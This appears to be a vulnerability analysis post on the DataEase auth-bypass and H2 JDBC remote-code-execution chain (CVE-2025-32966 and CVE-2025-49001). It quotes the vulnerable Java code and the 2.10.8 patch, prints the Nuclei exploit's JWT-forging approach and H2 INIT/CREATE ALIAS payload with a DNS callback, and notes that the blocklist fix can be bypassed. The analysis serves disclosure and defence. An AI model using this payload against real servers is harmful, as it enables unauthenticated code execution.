The Nuclei template for CVE-2025-32966 forges its JWT with HS256 and the secret string "ChrisJr404". ChrisJr404 is the template's author. The string is the author's own handle, used as an HMAC key against the DataEase server, and the server accepts it.
The server accepts it because, in DataEase 2.10.7, the function the codebase calls validate(token) rejects any string shorter than 100 characters and returns success on every string longer than 100 characters that base64-decodes to a JSON object containing a uid claim. There is no signature check. There is no algorithm check. There is no key.
The CVE-2025-32966 record describes the vulnerability as one "authenticated users" can exploit. The CVSS vector says PR:N. Both statements are in the National Vulnerability Database. They contradict each other because the precondition the description requires is a separate vulnerability the same vendor disclosed forty-one days later.
The function named validate does not validate
DataEase ships two servlet filters in io.dataease.auth.filter: TokenFilter and CommunityTokenFilter. TokenFilter runs on every authenticated route. Its happy path is three lines:
String token = ServletUtils.getToken();
TokenUserBO userBO = TokenUtils.validate(token);
UserUtils.setUserInfo(userBO);
filterChain.doFilter(servletRequest, servletResponse);
TokenUtils.validate is the entire authentication check that decides whether the inbound request is who it claims to be. In DataEase 2.10.7, the method reads:
public static TokenUserBO validate(String token) {
if (StringUtils.isBlank(token)) {
String uri = ServletUtils.request().getRequestURI();
DEException.throwException("token is empty for uri {" + uri + "}");
}
if (StringUtils.length(token) < 100) {
DEException.throwException("token is invalid");
}
return userBOByToken(token);
}
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token);
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
if (ObjectUtils.isEmpty(userId)) {
DEException.throwException("token格式错误!");
}
return new TokenUserBO(userId, oid);
}
JWT.decode(token) is the auth0 library's parser. It splits the token on dots, base64-decodes the segments, and returns a structured object. The library's own documentation describes it as parsing only. Verification is JWT.require(algorithm).build().verify(token). That call does not appear in this file.
So validate(token) runs three checks in sequence: the string is non-blank, the string is at least 100 characters, and the string's middle segment, when base64-decoded as JSON, contains a uid claim that decodes as a Long. Any string satisfying those three conditions returns a TokenUserBO(userId, oid) from whatever uid and oid the caller put in the payload. The HMAC signature in the third segment is not consulted. The header's alg claim is not consulted. The signing key, on the server side, is not loaded.
The Nuclei template's generate_jwt(jwt_claims, "HS256", "ChrisJr404") uses "ChrisJr404" as the HMAC secret because it does not matter which secret is used. Replace it with "x", with the empty string, with the JSON of the entire claim set, with the contents of /etc/passwd. The token validates either way. The author chose their own handle as a tag on their work.
The fallback filter logs the failure and forwards the message
CommunityTokenFilter is the secondary filter that ships in the same package. It is the one filter in DataEase 2.10.7 that calls into the auth0 verifier:
try {
Algorithm algorithm = Algorithm.HMAC256(secret);
Verification verification = JWT.require(algorithm).withClaim("uid", userId).withClaim("oid", userBO.getDefaultOid());
JWTVerifier verifier = verification.build();
DecodedJWT decode = JWT.decode(token);
algorithm.verify(decode);
verifier.verify(token);
} catch (Exception e) {
HttpServletResponse res = (HttpServletResponse) servletResponse;
LogUtil.error(e.getMessage(), e);
HttpHeaders headers = new HttpHeaders();
String msg = URLEncoder.encode(e.getMessage(), StandardCharsets.UTF_8).replace("+", "%20");
headers.add(headName, msg);
sendResponseEntity(res, new ResponseEntity<>(e.getMessage(), headers, HttpStatus.UNAUTHORIZED));
}
filterChain.doFilter(servletRequest, servletResponse);
The verifier is loaded with the right algorithm and the right secret. The verification call is well-formed. When the verification throws, the filter writes a 401 response body, encodes the exception message into a DE-GATEWAY-FLAG response header, and exits the catch block. The next line, outside the try, calls filterChain.doFilter(servletRequest, servletResponse) without condition.
The Java servlet API does not require setStatus() to terminate the request. httpResponse.getWriter().write(...) does not terminate the request. Calling filterChain.doFilter after writing a 401 forwards the same request, with the same body, to the next filter in the chain, and from there to the handler. Whatever the handler does runs. The 401 is what the operator sees in their log. The side effects are what runs.
This is the fail-open-intercept shape, expressed in Java servlet vocabulary. The EncryptInterceptor exhibit caught a GeneralSecurityException and forwarded the bytes downstream. CommunityTokenFilter catches every exception, writes the response that says "the request was not authorized," and forwards the request anyway. The gate has the appearance of refusing. The bytes flow through.
CommunityTokenFilter only runs the verification block at all when the license is invalid. The conditional on line 37 is && !LicenseUtil.licenseValid(). On a licensed install, the filter does nothing. On an unlicensed install, the filter narrates the failure and forwards. The licensed and unlicensed code paths converge on the same outcome: the request reaches the handler with whatever JWT the caller sent.
The handler the request reaches loads the H2 driver and connects
The route the Nuclei template hits is POST /de2api/datasource/validate. The controller method is DatasourceServer#validate(BusiDsRequest), which in v2.10.7 reads:
public DatasourceDTO validate(BusiDsRequest busiDsRequest) throws DEException {
DatasourceDTO dataSourceDTO = new DatasourceDTO();
BeanUtils.copyBean(dataSourceDTO, busiDsRequest);
dataSourceDTO.setConfiguration(new String(Base64.getDecoder().decode(dataSourceDTO.getConfiguration())));
CoreDatasource coreDatasource = new CoreDatasource();
BeanUtils.copyBean(coreDatasource, dataSourceDTO);
checkDatasourceStatus(dataSourceDTO);
...
}
The request body's configuration field arrives base64-encoded. The controller decodes it, copies the result into a CoreDatasource bean, and calls checkDatasourceStatus, which dispatches to the matching Provider#checkStatus, which in turn calls CalciteProvider#getConnection. The relevant lines of getConnection are these:
case h2:
configuration = JsonUtil.parseObject(coreDatasource.getConfiguration(), H2.class);
...
String driverClassName = configuration.getDriver();
ExtendedJdbcClassLoader jdbcClassLoader = extendedJdbcClassLoader;
Connection conn = null;
try {
Driver driverClass = (Driver) jdbcClassLoader.loadClass(driverClassName).newInstance();
conn = driverClass.connect(configuration.getJdbc(), props);
} catch (Exception e) {
DEException.throwException(e.getMessage());
}
configuration.getJdbc() returns the JDBC URL string the caller supplied inside the base64-encoded JSON. driverClass.connect(url, props) is the H2 driver's entry point. H2's URL parser supports an INIT parameter whose value is one or more SQL statements executed against the freshly connected database. H2's SQL supports CREATE ALIAS <name> AS $$<inline Java source>$$, which compiles the Java fragment with javax.tools.JavaCompiler and registers it as a callable function. ;CALL <name>() in the same INIT runs it. The Java fragment runs with the privileges of the JVM the DataEase server runs in.
The Nuclei template's payload, base64-decoded, is:
{
"jdbc": "jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS LK AS $$void lk() throws java.io.IOException { java.net.InetAddress.getByName(\"<dns-callback>\"); }$$;CALL LK()",
"username": "",
"password": "",
"driver": "org.h2.Driver"
}
The DNS callback is the detection probe. The same shape with Runtime.getRuntime().exec(...) in place of InetAddress.getByName(...) is the production payload. The vulhub PoC ships that variant. Both walk the identical path through the server: forged JWT, decoded but not verified, accepted by validate, base64-decoded by the controller, parsed as H2.class, passed to H2.Driver#connect, executed by H2's INIT directive.
The patch is two literal strings on the wire
DataEase 2.10.8 ships the patch the GitHub Security Advisory GHSA-h7hj-4j78-cvc7 references for CVE-2025-32966. The change is in core/core-backend/src/main/java/io/dataease/datasource/type/H2.java. The before:
@Data
@Component("h2")
public class H2 extends DatasourceConfiguration {
private String driver = "org.h2.Driver";
}
The after:
@Data
@Component("h2")
public class H2 extends DatasourceConfiguration {
private String driver = "org.h2.Driver";
public String getJdbc() {
if (jdbc.contains("INIT") || jdbc.contains("RUNSCRIPT")) {
DEException.throwException("Has illegal parameter: " + jdbc);
}
return jdbc;
}
}
The fix overrides the Lombok-generated getter for the jdbc field. When CalciteProvider#getConnection calls configuration.getJdbc(), the override runs first. If the URL contains the case-sensitive substring INIT or RUNSCRIPT anywhere, the request throws. Otherwise it returns the URL unchanged.
The check is two String.contains calls against the full URL, both case-sensitive against ASCII-uppercase substrings. The check does not parse the URL. It does not understand H2's keyword grammar. It does not enumerate the H2 connection parameters that load classes, write files, or execute SQL. It is a substring blocklist applied to a string the H2 driver will then parse with its own rules.
The patch closes the request shape the public PoC sends. It does not close the question of whether the H2 driver, given a user-controlled URL, can be instructed to do work the server's operator did not authorize. That question has the shape of "do not accept user-controlled JDBC URLs at all." The patch chose the shape of "two strings on the wire."
The "authenticated" precondition is CVE-2025-49001
Forty-one days after CVE-2025-32966 was published, the same vendor disclosed CVE-2025-49001 against DataEase 2.10.8 and earlier. The advisory text on GHSA-xx2m-gmwg-mf3r reads, in part: "secret verification does not take effect successfully, so a user can use any secret to forge a JWT token." The patch lands in 2.10.10. It modifies TokenUtils.userBOByToken to call the verifier with the loaded secret before extracting claims.
The userBOByToken the v2.10.10 patch modifies is the method quoted at the top of this post. The method that, in v2.10.7, used JWT.decode and trusted whatever the caller signed. The vendor disclosed the auth bypass as a separate CVE forty-one days after disclosing the H2 RCE that depended on it.
Reading the two CVE records in order:
- 2025-04-23: CVE-2025-32966 published. Description: authenticated users can RCE via
/de2api/datasource/validate. CVSS: 9.8. Patched in 2.10.8.
- 2025-06-03: CVE-2025-49001 published. Description: any secret can forge a JWT. CVSS: 9.8. Patched in 2.10.10.
For the forty-one days between those dates, an operator running DataEase 2.10.8 or 2.10.9 had read the CVE-2025-32966 advisory, upgraded, and held the belief that the H2 RCE required authentication. The H2 RCE did require authentication. Authentication, in the version they had upgraded to, was StringUtils.length(token) < 100 plus a JWT.decode and a getClaim("uid").asLong(). The Nuclei template that sent its forged JWT against 2.10.7 sent the same forged JWT against 2.10.8 and 2.10.9, hit the same authentication check, and was rejected only by the new substring blocklist on the H2 URL. Replace INIT with another H2 connection parameter not in the blocklist, and the chain ran.
The CVE record for the H2 sink and the CVE record for the JWT verifier are two records about one finding, split across two release versions. The Nuclei template, by virtue of needing to forge the JWT to reach the sink, exercises both. NIST scored CVE-2025-32966 with PR:N because every assessor who looked at the request shape recognized the precondition was unenforceable. The description text was not updated to match.
The handle in the HMAC field
The Nuclei template's generate_jwt line is the one detail in the public record that names the disposition of the bug without naming it. The author chose their own handle as the secret because the secret is not what authenticates the token. Length is. The uid claim is. The signature segment is bytes the server will not look at. The author has signed the work in the only field on the wire that the server reads as opaque.
PoC: projectdiscovery/nuclei-templates
DataEase 2.10.8 patched the H2 sink with two literal strings on the wire. DataEase 2.10.10 patched the JWT verifier. The CVE record for the sink presupposes the verifier.